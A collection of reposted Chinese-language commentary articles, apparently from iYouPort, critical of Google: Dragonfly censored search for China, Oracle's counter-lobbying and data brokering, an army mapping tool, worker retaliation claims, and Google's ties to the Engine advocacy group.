Cuttonaro 最初表示，他不确定奖学金是否已经支付，或者他的公司是否参与了其创建。随后他又说自己想起来了曾经参与其中，并声明“我们从来没有得到任何申请……我不记得有过”。因此，从未付过钱，他说。

“我告诉你，我是一个好人，”他说。

把坏人说成好人可能很困难，**Rubin** 的人物角色是所谓的声誉管理行业无法无天之性质的完美典范。

Hopkins 已有十多年的经营历史，他的 LinkedIn 个人资料显示他目前正在攻读硕士学位。

他称，创造虚假的在线角色以影响搜索结果是“非常正常的事”。

“一般来说，这就是客户要求的东西，”他说。

但当被问及他自己关于 Rubins 和 Ian Leaf 的在线角色的工作时，Hopkins 不会承认任何参与。

SSL证书、域名注册以及 BuzzFeed News 发现的其他信息都显示，Hopkins 与可疑的 Rubin 和 Ian Leaf / Andrews 角色相关。

他的公司 AfterHim Media 被列为 Leaf 自己出版的两本书的虚构出版商。用于 Adrian、Chase 和 Blake Rubin 奖学金申请的 Google 表格也是由 AfterHim Media 创建的。

另一个相关证据是，adrianrubinscholarship.com 的SSL证书也被 popkins.info 和 douglaspitassi.info 使用，这两个域名都由Hopkins拥有。

但在电话采访中 Hopkins 拒绝承认和 Rubin 角色有任何关系。

“Adrian Rubin 是谁？” 美国地区法官 Eduardo Robreno 去年八月在量刑听证会上问道。

Rubin 承认犯有一项串谋违反“诈骗影响和腐败组织法”的罪名，一项

串谋罪和两项邮件欺诈罪。

当地媒体报道，在法庭上，当时61岁的 Rubin “泪流满面地将自己形容为一个’可怕的人’，称试图成为一个更好的人”。

但法官不确定在他面前的懊悔是否是真实的。 1997年，Rubin 因逃税被判处一年徒刑后被释放。然而此后他继续犯罪。

就这么一个在现实中的真人都是假的的家伙（真绕嘴）还有一堆在线的假声誉炒作……真是很令人无语。

《互联网上究竟有多少东西是假的？》说真的吧，别太相信搜索引擎。〇

How To Game Google To Make Negative Results Disappear

原文

快讯：“不作恶”变“作大恶”，谷歌正在与北京政权无缝衔接 - iYouPort

关于谷歌-监视资本主义的创始人

这次是真的！我们觉得需要提醒的是：这里不仅仅只有审查过滤，还有监控！如果你通过谷歌搜索所谓的敏感词，不仅不会被显示结果，并且很有可能，谷歌将记录你的 IP 并提供给中国政府。因为该公司在美国就是这么做的，采访 Snowden 的记者就是因为使用了谷歌搜索而被情报部门盯住。您可以在这篇文章中看到这个故事《反侦察技巧》我们在半年前已经警告过，谷歌与中国政府有染，您可以在这篇文章的后半部分看到这份报告及分析。

最新曝光文件显示，谷歌正计划在中国推出一个审查版的搜索引擎，将被政府列入黑名单的网站，和有关人权、民主、宗教和和平抗议的内容，均抹去，The Intercept 透露。

根据谷歌内部文件和熟悉该计划的人士称，该项目—代号为 Dragonfly—自去年春季以来一直在进行，并在 2017 年 12 月谷歌首席执行官 Sundar Pichai 和中国政府高级官员会面后加速。

谷歌的程序员和工程师团队创建了一个定制的 Android 应用程序，其中不同版本被命名为“茅台 Maotai”和“龙飞 Longfei”。该应用程序已经向中国政府展示; 最终版本可能会在未来六到九个月内推出，等待中国官员的批准。

该计划中的举措代表了谷歌对华政策的巨大转变，这将是近十年来互联网巨头在该国运营其搜索引擎的第一次。

延伸阅读：至于为什么，详见这篇文章《"//谷歌将死于什么//"》中的分析

谷歌的搜索服务目前无法被中国的大多数互联网用户访问，因为它被该国所谓的大防火墙阻止。谷歌为中国建立的应用程序将遵守该国严

格的审查法律，限制访问一切被习近平的共产党政权认为不利的内容。

中国政府在互联网上封锁了几乎所有有关政治对手、言论自由、性别权利、新闻和学术研究的信息。例如，该国禁止有关 1989 年天安门广场大屠杀的网站，包括提及“反共产主义”和“持不同政见者”的内容。在中国社交媒体微博上，禁止提及负面描绘威权政府的书籍，如乔治奥威尔的 1984 年和动物农场。该国还审查流行的西方社交媒体网站，如 Instagram，Facebook 和 Twitter，以及美国新闻机构，如“纽约时报”和“华尔街日报”。

最新获得的这份文件被标记为“谷歌机密”，该文件表明，谷歌的中文搜索应用程序将自动识别和过滤被防火墙阻止的网站。当一个人进行搜索时，被禁止的网站将从结果的第一页中删除，并且将显示免责声明：“由于法定要求，某些结果可能已被删除。” 网站文件中引用的示例是受到审查的包括英国新闻广播公司 BBC 和在线百科全书维基百科。

搜索应用程序还将“列出敏感查询的黑名单”，以便当人们输入某些文字或短语时，“根本不会显示任何结果”。审查将适用于整个平台：谷歌的图像搜索、自动拼写检查等，这意味着搜索结果中不会出现任何共产党政府禁止的人员、信息、或图片。

据知情人士透露，在谷歌内部，有关 Dragonfly 的消息仅限于互联网巨头 88,000 名员工中的数百名成员知晓。该消息来源在不愿透露姓名的情况下与 The Intercept 交谈，因为他们无权与媒体联系。消息人士表示，他们对谷歌在审查中的角色深感困惑，这些审查行为仅仅由公司的极少数高级管理人员策划—— 集权，完全没有受到公众监督。

> *“I’m against large companies and governments collaborating in the oppression of their people.”*

“我反对大公司和政府在压迫他们的人民方面进行合作，并且认为，他们所做的事的透明度应该符合公众利益，”消息人士称，他们担心“谷歌在中国所做的事将成为许多其他压迫性国家效仿的模版。“

人权组织大赦国际的香港研究员 Patrick Poon 告诉 The Intercept，谷歌决定遵守审查制度将是“信息时代的一大灾难”。

“这不仅对中国，而且对我们所有人来说都具有非常严重的影响，信

息自由和互联网自由的灾难”，Poon 说，“这将为许多其他仍在中国开展业务的公司树立一个可怕的先例，他们将难以保持不屈服于中国审查制度的原则。世界上最大的搜索引擎在中国已经服从于审查制度了，这是中国共产党政府的胜利—— 它发出了一个信号，表明已经没有人会费心去挑战审查制度。“

目前还不清楚谷歌最终是否会推出其审查版中国搜索平台的桌面版。目前，该公司专注于最先会推出的 Android 应用程序，这是中国很大一部分人口可以访问的应用程序。研究人员估计，中国有 95% 以上的人使用移动设备上网，而 Android 是目前国内最受欢迎的移动操作系统，占有 80% 的市场份额。

被曝光的文件显示，谷歌将把搜索应用程序作为与未命名的合作伙伴公司“合资企业”的一部分，该公司几乎可以肯定就是中国公司。然而，Dragonfly 项目的大部分工作都在位于加利福尼亚州的 Google Mountain View 总部进行，该总部位于硅谷中心圣何塞西北约 14 英里处。参与该项目的其他团队来自纽约、旧金山、桑尼维尔、圣巴巴拉、剑桥、华盛顿特区、上海、北京和东京的谷歌办事处。

此前，在 **2006** 年至 **2010** 年间，谷歌在中国维持过一个审查版的搜索引擎。当时，该公司在遵守中国政府政策方面遭到了严厉的批评。

在 **2006** 年 **2** 月举行的一次关于美国科技公司在中国的活动的国会听证会上，众议院国际关系委员会成员称谷歌为“中国政府的工作人员”，并指责其参与审查制度的行为“令人憎恶”。“谷歌严重损害了’不作恶’政策，” 众议员 Chris Smith, RN.J.说，“事实上，它已成为邪恶的帮凶。”

「图」

「图」

舆论抨击令该公司难以招架了，**2010** 年**3**月，谷歌宣布将其搜索服务撤出中国。在当时发表的博客文章中，该公司引用了中国政府限制言论自由、阻止网站和破解谷歌计算机系统的努力，以此作为“不再继续接受审查”的原因。

谷歌联合创始人谢尔盖•布林（Sergey Brin）出生于苏联，对审查制度的担忧似乎特别敏感，他有着在一个专制政权下生活的个人经历。在谷歌于 201 0年停止其搜索服务后，Brin 表示该公司的反对意见涉及“极权主义势力”，并补充说他希望将搜索平台拉出国外的决定将有

助于形成“更开放的互联网”。

然而，从那时起，中国的审查和监督变得越来越普遍。2016 年，该国政府通过了一项新的网络安全法，人权观察组织表示，该法案“加强了对互联网的审查、监视和其他控制。”政府正在使用新的自动化系统来监控和审查互联网，并且"已经破解了"中国人用来规避限制的隐私保护技术。

多伦多大学互联网研究组织 Citizen Lab 的主任 Ron Deibert 说：“要求在中国运营的公司必须准备好负责监视用户，并根据要求将用户数据交给政府机构。”“我们还总体上发现，[在中国]的互联网审查正朝着不太透明的方向发展，在所有平台上审查或删除发生时，用户很少被通知。”

尽管持续受到压制，但 Google 高层的观点发生了明显的变化。中国目前拥有超过 7.5 亿互联网用户，相当于整个欧洲的人口。因此，它代表了互联网巨头的潜在巨大收入来源，这可能是其决定重新启动该国搜索平台的一个重要因素。

另一个原因可能是，自谷歌上次在中国运营其搜索工具以来，该公司的领导层结构发生了显著变化。联合创始人 Brin 和 Larry Page 已经较少露面，尽管他们仍然在公司的董事会任职。

谷歌现任首席执行官 **Pichai** 率先推出了谷歌的“中国策略”，他是一位 46 岁的印度裔美国人，他于 2015 年 10 月掌舵。在 2016 年 6 月的加利福尼亚南部会议上，Pichai 表达了他的意图：“我关心的是为全球每个角落的用户提供服务，谷歌适合所有人，“他说。“我们希望在中国为中国用户服务。”

延伸阅读：《"//当 “不作恶” 成为空谈，“定制人”将终结民主//"》

延伸阅读：解密文件“"//今天主宰智能行业的许多公司都是当年通过向情报界提供技术服务和产品而开始的//"（否则他们没有今天这般强大）”

2017 年 **12** 月，消息人士称，**Pichai** 前往中国并参加了与共产党领导人王沪宁的私人会晤。王沪宁是习近平的最高外交政策顾问，被称为“中国的基辛格”。据说 Pichai 认为会议取得了成功。同月，谷歌宣布将在北京成立人工智能研究中心。随后于 2018 年 5 月发布了针对中国互联网用户的 Google 文件管理应用程序。然后，在 7 月，谷歌在 WeChat 上推出了一款“Guess The Sketch”游戏，微信是一个在中

国很受欢迎的中文通信和社交媒体平台。

最后的结果将是审查版搜索应用程序的启动—**Dragonfly** 项目。据熟悉该计划的消息人士称，该应用程序发布的时间将取决于两个主要因素：中国政府的批准，以及谷歌对其应用程序将优于其主要竞争对手百度提供的搜索服务的信心。

谷歌内部人士表示，目前尚不清楚该公司何时会获得北京官员的批准，因为美中之间不断升级的“贸易战”已经放缓了这一进程。然而，谷歌的搜索引擎主管 **Ben Gomes** 在上个月的一次会议上告诉员工，他们必须准备好在短时间内推出中文搜索应用程序，因为有可能“世界突然发生变化，也许 **[**唐纳德·特朗普总统**]** 决定他的新朋友是习近平。“

谷歌和中国外交部拒绝回应评论请求。

延伸阅读：《"//几乎所有 Google 产品的替代品—完整列表 关注隐私权的你，马上行动起来 ~ //"》

谷歌已经删除了我们多篇文章的发布，包括 Snowden 访谈，并在我们发布数据分析《谷歌将死于什么》后对我们的账户给出了最后通牒。我们致力于与一切审查战斗，不论是它来自哪里，不论什么理由。言论自由不容侵犯。

「图」

「图」

「图」

「图」

原文

您应该警惕谷歌，但绝不是作为甲骨文的盟友 - iyouport

关于谷歌-监视资本主义的创始人

遏制一个巨头的方法绝不是另一个巨头，就如遏制一个专制政客的方法绝不是另一个政客，而是人民。

在中国，一些终于认识到《谷歌的真面目》的人们开始热衷于谷歌的对手，直到了解到《10年以来，甲骨文如何帮助中国警察构建了一个恐怖的反乌托邦地狱》。寻求挑战者的思路是完全可以理解的，但真正的挑战者绝不会是另一个巨头。

在过去的十几年里，甲骨文和谷歌之间的斗争似乎非常个人化 —— 至少在甲骨文方面是这样。当然，很多人认为甲骨文攻击谷歌的主要原因是向该公司施压，迫使其解决长期以来在 Java API 上的争斗 —— 而最高法院结束了这一争斗 —— 因此，观察斗争是否会继续下去可能很有趣。但这一切都埋藏着一个重要的问题。

几乎所有甲骨文指责谷歌做的事，都是甲骨文自己也一直在做的事。而且往往是以更邪恶的方式。我的意思是，甲骨文甚至在没有授权的情况下抄袭了一个API。而且远不止这些。

去年年底有报道指出，全球各地对谷歌的各种监管攻击显然都有甲骨文的指纹 —— 包括声称谷歌是用户体验隐私的灾难。来自彭博社的一篇大文章：

鲜为人知的是，甲骨文公司花了数年时间在幕后努力说服华盛顿、*30* 多个州、欧盟、澳大利亚、和至少其他三个国家的监管机构和执法机构控制谷歌庞大的搜索和广告业务。这些努力正在得到回报。

甲骨文公司在华盛顿的顶级说客、也是该公司针对谷歌的反垄断运动的设计师肯·格鲁克*(Ken Glueck)*表示，起诉谷歌的十多个州的官员都收到了被称为甲骨文公司的 *“黑匣子”* 介绍，展示了谷歌如何追踪用户的个人信息。*Glueck* 为彭博社概述了这种演示，通常需要将一部 *Android* 手机放在一个黑色公文包内，以展示谷歌如何收集用户的位

置细节—— 即使手机不使用时也是如此—— 并确认了施压运动的轮廓。

“我不能更高兴了”，*Glueck*谈到一连串的诉讼时说，“据我所知，起诉谷歌的国家地区比计划中的更多。”

甲骨文对谷歌的攻击还采取了其他形式，包括它现在臭名昭著的“影子档案”报告，它向各国政府提交了这份报告，详细说明了谷歌正在如何吸纳每个人的大量数据，并利用这些数据做很多草率的事。

无论这是否属实，它都忽略了一个重要的事实：甲骨文也在做同样的事。而且甲骨文似乎在用一种更粗略的方式来做这些事。您可能还记得，去年夏天，一家偷偷摸摸的数据收集公司 BlueKai 在不安全的服务器上泄露了大量的个人信息。BlueKai 就是甲骨文公司旗下的公司。该服务似乎令人难以置信地草率，因为它更多地涉及到以用户不知情的方式建立用户的“影子档案”（至少在谷歌，理论上你可以进入并查看该公司在你身上的收集信息，并可以表面上删除大部分信息）。

但是，情况变得更糟了。在 The Markup 的一篇新文章中，它详细介绍了各种“数据经纪人”现在如何在华盛顿成为比许多大型科技公司更大的游说者，机动地确保立法者不会切断他们的数据来源。猜猜谁是最大的这种数据经纪人？是的，是甲骨文，在过去的几年中，甲骨文已经购买了几乎所有可以使用的数据收集器。

甲骨文有自己的数据收集部门，但也通过收购 DataRaker、Compendium 和 Crosswise 等公司来建立自己的投资组合。这几家公司分别在2012年、2013年和2016年被甲骨文收购，它们从各种来源获取数据。**DataRaker** 为公用事业公司从数百万个智能电表和传感器中获取数据，而 **Compendium** 则提供有针对性的广告。**Crosswise** 让甲骨文可以跨设备追踪人，声称每月处理数十亿设备的数据。

甲骨文还在**2014**年收购了**Datalogix**，该公司将人们的线下购买记录与线上个人资料连接起来。此外，甲骨文还结合了超过**75**家其他数据经纪公司的数据集，它称之为“世界上最大的第三方数据集”。

然后，当您查看这些数据代理的游说方式时，就很容易注意到甲骨文脱颖而出：

这有点让您想知道有多少游说是攻击谷歌，声称谷歌正在做的事，事实也是甲骨文在破坏隐私方面的实际行动。而且，是的，如果您想知

道，Markup 指出，在这一时期（2020年），谷歌在游说美国政府方面的花费比甲骨文少一点。

这些都绝 ~ 对 ~ 不 ~ 是 ~ 说谷歌是个好玩家，我们有 “关于谷歌” 专栏，其中收集的内容足够让您看到谷歌的恐怖。您必需也有很多理由关注谷歌的所作所为。但考虑到甲骨文似乎在妖魔化谷歌的做法上花费了多少精力，以及在游说上花费了多少钱，而甲骨文自己的战略同样是在秘密收集每个人的数据上更加猖狂，您应该知道，遏制一个巨头的方法绝不是另一个巨头，就如遏制一个专制政客的方法绝不是另一个政客，而是人民。〇

Oracle’s Projection

原文

打了鸡血的谷歌地球：远距离透视建筑物内部的一切 - iYouPort

关于谷歌-监视资本主义的创始人

想想看，这种东西除了军事使用之外还能做什么？

「图」

「图」

据国防杂志报道，5月15日在瑞典斯德哥尔摩举行的IEEE交通电气化展览会（ITEC）2019年会议上公布了一项预计将为美国作战人员改造训练和模拟练习的新地图技术。

南加州大学创新技术研究所地理空间科学与技术主任 Jason Knowles 在陆军附属研究中心发表演讲，他谈到了新的地形捕获和重建软件，可以重现复杂的环境，包括为模拟演习和战争规划的城市。

南加州大学创新技术研究所地理空间科学与技术主任 Jason Knowles 在陆军附属研究中心发表演讲，他谈到了新的地形捕获和重建软件，可以重现复杂的环境，包括为模拟演习和战争规划使用的城市。

该研究所是一个致力于绘图软件的项目 （称为 One World Terrain（OWT））的跨职能团队的一部分。

Knowles 将新软件描述为“超级版谷歌地球”。

在ITEC期间的一次简报中，Knowles 向观众展示了一个敌人基地的图片，该基地被使用商业软件和小型无人机在大约一小时内捕获，并进行了数字重建。

他说：“我们能够把UAS扔掉了，在一小时内捕获它，把它放在笔记本电脑上，轻松处理、推出。”

Knowles 说，该软件可以“逐层剥离建筑物的外部，看清建筑物内部

是什么。这对操作人员来说显然非常有用”。

他说该软件与GPS数据相关联，因此战争规划者可以用它组织未来的实际操作。

快速的3D地形捕获和数字重建系统由来自卫星和飞机的航空图像支持。

他补充说，为了获得更高的分辨率，侦察小组可以部署小型便捷无人机来收集更清晰的图像。

该软件使用机器学习和人工智能“使模型变得更聪明，因此它不仅仅是在[识别对象]图片，”他说。

例如，它可以告诉部队敌方基地的围墙是否需要用车辆或弹药进行破坏。

除了远程精确导弹、下一代战斗车、未来升降库、空中导弹防御、定向能武器、下一代战斗步枪、和士兵杀伤力之外，新的测绘软件是陆军最重要的现代化优先事项之一。

Army’s ‘Google Earth On Steroids’ Can Look Inside Buildings

原文

抗议谷歌的全球运动仍在继续 - iYouPort

关于谷歌-监视资本主义的创始人

谷歌仍在面临一轮新的全球抗议活动，因为该公司计划在中国推出的审查版搜索引擎。

中国人、西藏人、维吾尔人和人权组织联盟在美国、英国、加拿大、印度、墨西哥、智利、阿根廷、瑞典、瑞士和丹麦举行示威活动。

谷歌设计了代号为 Dragonfly 的中国搜索引擎，根据中国的专制共产党政府强制执行的严格审查规则，将有关人权、民主、宗教和和平抗议的一切信息均列入黑名单。

去年12月，The Intercept 透露内部纠纷迫使 Google 关闭了用于开发搜索引擎的数据分析系统。消息人士称，这已经“有效地结束了”该项目，因为该公司的工程师不再拥有构建它所需的工具。

但是，谷歌老板并没有公开表示他们将停止开发 Dragonfly。该公司首席执行官桑达皮采拒绝排除将来某个时间继续推出该搜索引擎的可能性，尽管他坚持认为目前不会。星期五抗议活动的组织者表示他们将继续抗议“直到谷歌高管确认蜻蜓项目已被永久性取消。”

Tibet Society UK 负责人 Gloria Montgomery 说，谷歌“应该通过分享信息来联系世界，而不是通过帮助一个压制性政府粉碎所有形式的在线异议来促进人权侵犯。”“谷歌的董事们必须紧急听取员工和成千上万的全球公民的呼吁，立即停止蜻蜓项目。如果他们不这样做，Google 就会对其声誉造成不可逆转的损害。“

去年8月，**170** 个西藏团体致函 **Pichai**，称近年来中国的人权状况恶化，蜻蜓项目将使中国政府的压制政权合法化、支持限制公民自由和政治自由，宣传扭曲的信息。Pichai 没有发表任何回应。西藏活动人士说，中国政府经常在西藏侵犯人权，从事政治和宗教压迫。

Google is facing a new campaign of global protests: a coalition of Chinese, Tibetan, Uighur, &human rights groups organized demonstrations outside Google’s offices in the US, UK, Canada,

India, Mexico, Chile, Argentina, Sweden, Switzerland, & Denmark.

原文

报复文化 - iYouPort

关于谷歌-监视资本主义的创始人

谷歌的两名员工表示，管理层已对11月份领导数千名谷歌工作人员罢工的组织者进行了报复，员工计划于周五举行会议，以便其他人讨论这些报复事件。

在周一发布给许多内部谷歌邮件列表的消息中，领导谷歌开放研究的 Meredith Whittaker 表示，在该公司于4月4日解散其人工智能道德委员会后，她被告知她的角色将“发生巨大变化”。

Whittaker 说她被告知，为了留在公司，她将不得不“放弃”她在人工智能道德方面的工作，以及她在纽约大学共同创办的研究中心 AI Now Institute 的工作。

Claire Stapleton，另一位罢工组织者也是该公司12年的老将，在电子邮件中说，在抗议两个月后，她被告知她将被降级为 YouTube 的营销经理，并失去一半的薪水。在将问题升级到人力资源后，她说她面临了进一步的报复。

Stapleton 写道：“经理开始无视我，我的工作被交给了其他人，而且我被告知要休病假，即使我没有生病。”在她聘请律师之后，该公司进行了一项调查，似乎改变了她的降级。“虽然我的工作已经恢复，但环境中仍然充满敌意，我几乎每天都会考虑退出，”她写道。

Whittaker 和 Stapleton 是11月份帮助组织群众罢工示威的七名员工中的两名，其间有2万名谷歌工作人员短暂走出办公室，抗议该公司对性骚扰投诉的处理不当。

谷歌发言人在一份声明中表示：“我们禁止在工作场所进行报复并调查所有指控。员工和团队定期并经常获得新任务或重组，以跟上不断变化的业务需求。这里没有任何报复行为。“

以下是被报复者发送的信件全文 ——

大家好，这是一封很难写的电子邮件。

谷歌正在对几个组织者进行报复。

我们是其中之一，这是正在发生的事：

Meredith

就在 Google 宣布解散人工智能道德委员会之后，我被告知我的角色会发生巨大变化。我被告知要留在公司，我将不得不放弃我在人工智能伦理方面的工作以及我共同创立的 AI Now 研究所，该研究所已经就这些主题进行了严格和公认的研究。

多年来，我一直致力于AI道德和偏见的问题研究，并且是帮助塑造这个问题的领域的人之一。我也在冒险推动一个更有道德的谷歌，即使没什么利润。

Claire

在罢工运动两个月之后，作为五年高绩效获得者（以及在谷歌工作差不多12年的人），我被告知我将被降级、失去一半薪水，并且批准的项目将不再被讨论。

我投诉到人力资源和我的副总裁层面，这反而使事情变得更糟了。我的经理开始无视我，我的工作被给了其他人，而且我被告知要休病假，即使我没有生病。

只有在我聘请了律师并与律师联系之后，Google 才会对管理层进行调查，并且至少在纸面上退回我的降级。虽然我的工作已经恢复，但是环境中仍然充满敌意，我几乎每天都会想要退出。

我们的故事不是唯一的。谷歌有一种报复文化，这种文化常常使女性、有色人种和性少数群体沉默。报复并不总是显而易见的。它经常令人困惑和抽象，包括冰冷的对话、心理操纵、项目取消、过渡拒绝或降级。

在罢工期间，我们收集了350个这样的故事。阅读这些故事，一种悲伤的模式出现了：站起来报告歧视、虐待和不道德行为的人受到了惩罚、被边缘化并被推出。而犯罪者经常不受阻碍，甚至得到了奖励。

通过惩罚那些抵制歧视、骚扰和不道德决策的人，谷歌允许了这些恶劣行为的存在。这会伤害公司内部的所有人，以及那些承受谷歌糟糕选择的外部社区。如果我们想要阻止歧视、骚扰和不道德的决策，我们需要结束对那些诚实地谈论这些问题的人的报复。

我们需要回击。以下是一些后续步骤：

1、我们将举报报复行为，分享我们的故事和战略。时间：4月26日星期五，东部时间上午11点/下午2点。在此处将活动添加到您的日历中。 [该消息包含会议直播的内部链接]

2、如果你也遭到过报复，请分享你的故事。（如果您使用罢工表单分享您的故事，请随时转发并帮助将所有内容保存在同一个位置）我们彼此分享的越多，就越有可能成功。把你的故事加进来。

此致

Meredith, Claire

GOOGLE WALKOUT ORGANIZERS SAY THEY’RE FACING RETALIATION

原文

最准确的恐惧 - iYouPort

关于亚马逊、苹果、推特关于谷歌-监视资本主义的创始人

“如果谷歌对我们美国人做同样的事，就像他们对中国人做的那样，我们无法就了解到这一切，没有人会帮助我们”

Google 首席执行官桑达皮采最近的国会证词不仅回避了关于中国审查版搜索引擎“蜻蜓”的质问，还回避了另一个重要问题。当众议员 Karen Handel 向 Pichai 询问 Google 收集美国公民数据的能力，以及该数据收集是否应该是美国人有权选择加入的，而不是默认情况下完成的时，Pichai 再一次虚伪。#privacy

“我认为用户享有透明度、控制力和选择感的隐私框架，以及对他们需要做出的选择的清晰理解对消费者来说非常有益，”Pichai 完全所答非所问。

结合 Pichai 关于蜻蜓项目的回避一起看，这是很惊人的。美国人非常有理由怀疑：如果 Pichai 准备将谷歌的大量数据收集工作移交给中国政府以用于政治目的追踪其公民，那么他愿意对美国人做些什么？？鉴于谷歌强大的能力且覆盖全球从一开始就令其成为了整个互联网的“优秀审查员”，这远非一个抽象意义上的问题。

这也使得 Dragonfly 项目的开发不仅仅是一个关于被压迫的中国公民的隐私问题。这对美国人来说同样是一个紧迫的威胁。即使 Pichai 说实话，蜻蜓的发展纯粹是内部的，并且没有向中国政府提出，但事实仍然是，为中国开发的审查互联网的工具可以用来在美国进行审查。

更糟糕的是，如果谷歌决定在自己的搜索引擎上实施这么一个阴暗的政策，那么美国人没有任何方法来了解它，因为谷歌的搜索算法是商业机密。美国人不可能知道谷歌可能对他们进行的潜在监视的范围。对于批评谷歌的记者或政治家来说，这是一个非常现实的问题，考虑到谷歌可以使用手机跟踪人们生活中的所有细节。这种对政治对手的监视能力很容易被武器化，成为勒索或公开羞辱的材料。

我曾经想知道科技公司从美国人那里获取的数据有是多少，以及美国

人如何以货币形式收回这一价值。但现在 Pichai 的证词表明，可能会出现比这更为根本的计算：即 数据收集对人身自由造成了多大的代价，并且这种代价是不可逆转的？为了捍卫美国的价值观，我们只能祈祷最后一个问题的答案是 No.

否则，我们不仅可以看到以谷歌方式埋葬的美国，而且，基于 Sundar Pichai 如何处理威胁其公司权力的问题，我们甚至可能永远不会知道蜻蜓杀死了鹰。

顺便说，卫报终于做了一篇超长的文章，揭露谷歌如何间谍全球。虽然太迟了，但说出来了总比没说要好。卫报的文章我们没有翻译，因为其中所列举的关键证据和资料，IYP 曾经都有表述，它们并不是新鲜事。您可以在这里阅读原文《We knew that being connected had a price—our data. But we didn't care. Then it turned out that Google's main clients included the military and intelligence agencies. By Yasha Levine》

The Eagle and the Dragonfly: How Google Threatens Freedom: "we could not only see the American way entombed by the Googley way, but based on how Sundar Pichai treats questions that threaten his company's power, we might never even know that the Dragonfly killed the Eagle."

原文

权谋：为游说华盛顿，谷歌制造了一个冠冕堂皇的傀儡？ - iYouPort

关于谷歌-监视资本主义的创始人

“我会说 Engine 似乎是一个傀儡，被谷歌操纵 .....作为一种策略这很棒。 谷歌是一只大而坏的狼，我们正在资助的初创团体说这只大而坏的狼会吃掉我们 ..... 这是马基雅维利主义”...这篇报道简直如洪桐县一般，但究竟谁的话可信，证据已经全部摆出来了。你可以忽视那些被称之为“回应”的狡辩。

根据一份新报告，一个基于华盛顿的声称代表创业科技公司声音的宣传组织，实际上是谷歌的一个小傀儡。

根据该报告，创业倡导组织 Engine 在其董事会和顾问委员会中至少有七名前 Google 员工和顾问。该组织三位创始人之前都在谷歌工作过; 他们创建了谷歌最终收购的创业孵化器。过去五年来，谷歌已向 Engine 提供了未公开的资金。这两家公司分享了一家名为 **S-3 Group** 的游说公司，该公司曾为 Engine 和 Google 工作过。 2011年 Engine 的首次发布会让与会者通过 RSVP 转到 Google 的电子邮件地址，该地址主要是为员工保留的，与向公众提供的 Gmail 地址完全不同。

报告解释说，在众多问题上，从专利改革、到反盗版工作、还有高技术移民，到最近对“通信规范法”第**230**条的"修改"，**Engine** 的倡导和谷歌宣称的政策偏好都是一致的。谷歌甚至资助了一篇研究论文，该论文后来被发布。

“公职人员需要意识到，这个所谓的创业倡导组织实际上是与硅谷最重要的D.C.影响力机器绑在一起的，他们的利益往往与颠覆性企业家的利益相冲突“，发布该报告的 Daniel Stevens 说。他是 Campaign for Accountability 的人。

这里面没有干净的手。Campaign for Accountability 获得的资金主要来自甲骨文，而甲骨文是谷歌的对手。

谷歌发言人表示，该公司“很乐意支持 Engine 的工作”，以代表华盛顿政策辩论中创业公司的观点。“虽然我们经常就政策问题达成一致，但 Engine 是一个独立的组织，就像我们支持的其他组织一样，”该发言人说。

谷歌在其网站上公开了他们对 Engine 的资金支持，该发言人称：“与 Campaign for Accountability 形成鲜明对比，他们拒绝列出其企业资助者，并且一直在帮助甲骨文表达对谷歌的怨恨”……

甲骨文华盛顿办事处高级副总裁 Ken Gleuck 在上述那份报告发布后表示谷歌的指控一点根据都没有，甲骨文与该报告完全无关。“在阅读你的故事之前，甲骨文不知道 Engine 是否存在，我们也没有任何了解或参与这份报告，”他说，“虽然我们受宠若惊，但谷歌不应该假设我们支持谷歌的每一个负面报道。如果我们整天盯着谷歌的阴暗面，我们将耗尽 20% 的工作时间。我们还能负责红色婚礼和塑料吸管吗？“

Engine 组织争辩说，它已经多次在政策方面与谷歌不同，尤其是在 2014 年的网络中立战期间，证明了它的“独立性”。根据“通信法”第二章，Engine 批准重新分类宽带; 谷歌则更加低调，其互联网协会的贸易组织拒绝支持 Title II。其他问题就与谷歌无关了，比如早期公司的资本形成。该组织执行董事 Evan Engstrom 表示：“Engine 制定的政策决策完全基于我们网络中创业公司的最佳利益和反馈，而不是我们资助者的职位。”

然而，**Engine** 对于科技创业社区最具存在性的威胁之一却很少表态，这一威胁就是：大公司持续收购以阻止竞争，"特别是谷歌"（最近的“60分钟”报告指出）。每次合并都会提升大型科技公司的主导地位，并令创新挑战者更难获得空间。那些没有被人嘲笑的人称之为“无情”和“有时不公平”; 最典型的见证如 Facebook 复制 Snapchat 的应用程序并将其分发到自己庞大的网络中。马里兰大学经济学家 John Haltiwanger 将科技初创公司13年的衰落就归咎于 Big Tech，称“大公司正在进行防御性创新。”

虽然 Engine 表达了对竞争的担忧—特别是涉及该组织所说的受益于现有公司的规定—在 Engine 的顶级倡导问题中没有提及合并政策，反托拉斯或垄断政治。

谷歌 和 **Engine** 之间的关系是 **D.C.** 游说社区一段时间的龙门阵主题，揭示了硅谷巨头在华盛顿发挥影响力的另一种方式。

除了直接游说之外，谷歌还利用其巨大的战争资金来资助智囊团、学术研究和“草根”团体，然后这些团体再提供一些看起来很像“独立观点”的玩意儿。意见和建议恰好符合谷歌的立场。在线出版商贸易组织 Digital Content Next 的首席执行官 Jason Kint 表示，**“Engine** 是一个对谷歌有益的 **D.C.**组织的例子**”**。

在大型科技公司因其掌握用户信息的规模、权力和疏忽而遭受强烈抵制的时候，像 **Engine** 这样的小企业家联盟去领导政治游说活动是有道理的，就像华尔街"利用社区银行作为盾牌"以推广有利于银行的政策。“你要是说 ‘这会伤害谷歌和亚马逊’—这个不行，会得不到结果，如果你说‘这会伤害初创公司’，就没问题了“，21世纪福克斯和美国商会的前说客 Rick Lane 说，他最近协助活动人士在第 230 条改变中与谷歌作斗争。

Engine 与谷歌的关系可以追溯到它成立之初。 2011年12月，Business Insider 写道：“Engine Advocacy 希望让硅谷创业公司在华盛顿获得发言权，直接将这一群体与提供给 Verizon、AT＆T，微软和谷歌等电信和科技巨头的大笔资金形成鲜明对比。

Business Insider 的报道重点介绍了2011年12月8日在旧金山举办的 Engine 成立派对。但是，该活动的电子邮件邀请表明了 Google 员工就在幕后。 邮件是这样的：“Derek Slater 曾经在 EFF 工作，但现在是谷歌的政策主管（也许你认识他？）他正开始追求一个新的政治倡导组织引领的大规模而令人兴奋的项目，” 这封电子邮件要求 RSVP 转到另一位 Google 员工的工作电子邮件地址。

「图」

「图」

Slater 还在 Google＋ 上宣传了 Engine 的启动，写道：“如果你是一家科技创业公司，或者你以其他方式支持初创公司（例如，投资者、自由设计师），你需要加入 Engine Advocacy。”Google co- 创始人 Sergey Brin 在发布之日不久就推出 Engine 了。

